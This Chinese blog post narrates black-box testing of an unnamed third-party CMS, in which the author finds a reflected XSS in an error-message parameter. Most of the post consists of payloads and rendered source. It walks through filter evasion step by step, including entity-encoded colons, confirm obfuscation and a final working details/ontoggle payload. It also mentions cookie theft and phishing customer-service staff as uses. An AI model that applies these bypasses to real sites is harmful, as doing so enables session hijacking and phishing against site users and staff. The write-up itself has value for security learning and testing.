黑盒的魅力,记录一次xss攻击

  #1:测试项目业务,无意一顿乱点触发了这么一个接口:

    

/client/common/error?errcode=500&errmsg=

  是个第三方cms,大家可能能看出来是啥cms

  当我输入

/client/common/error?errcode=500&errmsg=testest

  

 

 

  发现页面输出了我们的testtest:

  输出源码:

  

 

 

 

<div class="scan-login-tips">testtest</div>

 

   尝试输入测试payload:    

asdasdasd"</>asdasdasd'/asdasdasd'

  输出源码:

    

 

 

 

<div class="scan-login-tips">asdasdasd"asdasdasd'/asdasdasd'</div>

   发现过滤了<>,按理说我应该放弃的,但是我当手贱输入了:

"><img src=1>

  

 

 

  发现执行了图片,ohhhhhhhhhhhhhhh,那就说明图片解析了,那我们输入

<img src=1 onerror=alert(1)>

  不就可以xss了?

  我们试试:

    

 

 

  把我们过滤掉了

  我们混淆下,输入

<img src=1 xxx>

  

 

  我们再次混淆下:

  

<xxx img/src/xxx>

  

 

 

 

 

  已经彻底没有img src的身影了,说明他这里的过滤器规则就是只允许<img src="图片地址">去加载一张图片

  可以输入

<img src=javascript:alert(1)>

  来尝试能否xss,但是我并没有这样做,因为这样的弹窗只能在IE浏览器6.0下,几乎没有任何利用价值,还没有我外部加载一张色情图片价值大.  

  前情回顾:

    直接输入<>会被过滤的一干二净,而输入<img src=1>会有记录:

    我们输入图片没被过滤,是因为我们的标签是合法的,对程序来说,是无害的,命中了,那么顺藤摸瓜,跑一下html标签吧

 

 

 

 

发现可用的标签只有:

  

18    <a href="123">123</a>    200    false    false    1193    
5    <link>                    200    false    false    1188    
24    <img src=1>    200    false    false    1187    
25    <img/src=1>    200    false    false    1187    
12    <em>123</em>    200    false    false    1184    
11    <i>123</i>    200    false    false    1182    
17    <a>123</a>    200    false    false    1182    

 

 其中<img src=1>已经测试过了,只能让我传送图片,后续又对其他的标签测试,都不能空格分割输入我们的事件,那么我们最后的希望<a>标签

  尝试输入:

    

<a href="javascript:alert(1)">1111</a>

  发现被转换了:

  

<div class="scan-login-tips">a<a href=""javascript:alert(1)"">1111</a></div>

 

 

 

对我们的输入做了处理,我们稍微变形下,看看这是全局的中文编码处理,还是关键字处理:

  输入:

    

<a href="jav1scrip1:123">1111</a>

  

 

  发现即使是混淆了javascript,会强制转换成#,去掉冒号其后面的数据再次输入:

    

a<a%20href="jav1scrip1">1111</a>

  

 

 

  这次他没有被强制转换成#,原样输出,我们继续尝试新的输入:

    

a<a href="javascript">1111</a>

    

    

 

 

 

 

 

 通过源码观察发现,如果我不输冒号(:),他就不会对我们的输入进行强转和安全编码,那么我们可以对冒号(:)进行编码:

   输入:

    

<a href="javascript&colon;alert(1)">1111</a>

 

 

 

提示了系统错误,为什么是系统错误呢?

  因为我们的本意是输入&colon;,他是一个实体字符,但是浏览器上直接输入&,会认为colon;***这一串,是我们的参数,这时候应该怎么做?

  对&特殊字符url编码成%26:

  我们再次输入payload:

    

<a href="javascript%26colon;alert(1)">1111</a>

 

 

 

  发现我们的前缀都落地了,唯独alert触发关键字被编码了,我们输入个无害的关键字试试:

    

<a href="javascript%26colon;aaaa">1111</a>

 

 

发现没被特殊编码处理,好了,我们尝试换个关键字,我们遵循一个原则,能用简单的方法绕过,就不要尝试高深复杂的,依次递增绕过难度:

   尝试输入:

    

a<a%20href="javascript%26colon;(((confirm)))(1)">1111</a>

  可以绕过的方法太多了,提供一种:

 

 

 

  点击页面的111,从而触发xss:

      

 

 

  

  好了,我们实现了第一步xss弹窗,但是很鸡肋有没有? 需要我们被动点击,这个漏洞对我们来说价值变低了,如果拿去钓鱼,还得诱骗客服点击两次,我们要求点击一次的xss反射xss可以吗??

  但是信任标签就这几个了,这条路断掉了.

  

  #2 新的征程:

 

     我能不能通过实体编码,达成输出我们的恶意payload,我们来试试,黑盒多次发现:

    我们换个payload: 

asdas<dasd</>asdasdasd%27/asdas%27"%26quot;%26lt;img src=1%26gt;

 

 

 

 

   不要再问&为什么要编码处理,前面有讲!

  查看输出:

    

 

 

 

 

   

 

  具体源码:

    

<div class="scan-login-tips">asdasasdasdasd'/asdas'""<img src="1"></div>

  

  我开始继续改造一步到位:

  用一个前几年的万金油payload,工作电脑没什么xss payload

  尝试输入:    

asdas<dasd</>asdasdasd%27/asdas%27"%26quot;%26lt;details/open/ontoggle=alert(1)%26gt;

  

    

 

 

  对应输出:

    

<div class="scan-login-tips">asdasasdasdasd'/asdas'""<details open="" ontoggle="alert(1)"></details></div>

  对alert(1)进行处理了使用前面的bypass payload:(((confirm)))(1)

  最后一次改造我们的输入:

    

asdas<dasd</>asdasdasd%27/asdas%27"%26quot;%26lt;details/open/ontoggle=(((confirm)))(1)%26gt;

  浏览器输入运行:

  

 

 

  直接命中了

    cookie传输外带就不说了,就分享到这里了   

posted @ 2021-05-06 17:41  飘渺红尘✨  阅读(284)  评论(0编辑  收藏  举报
Title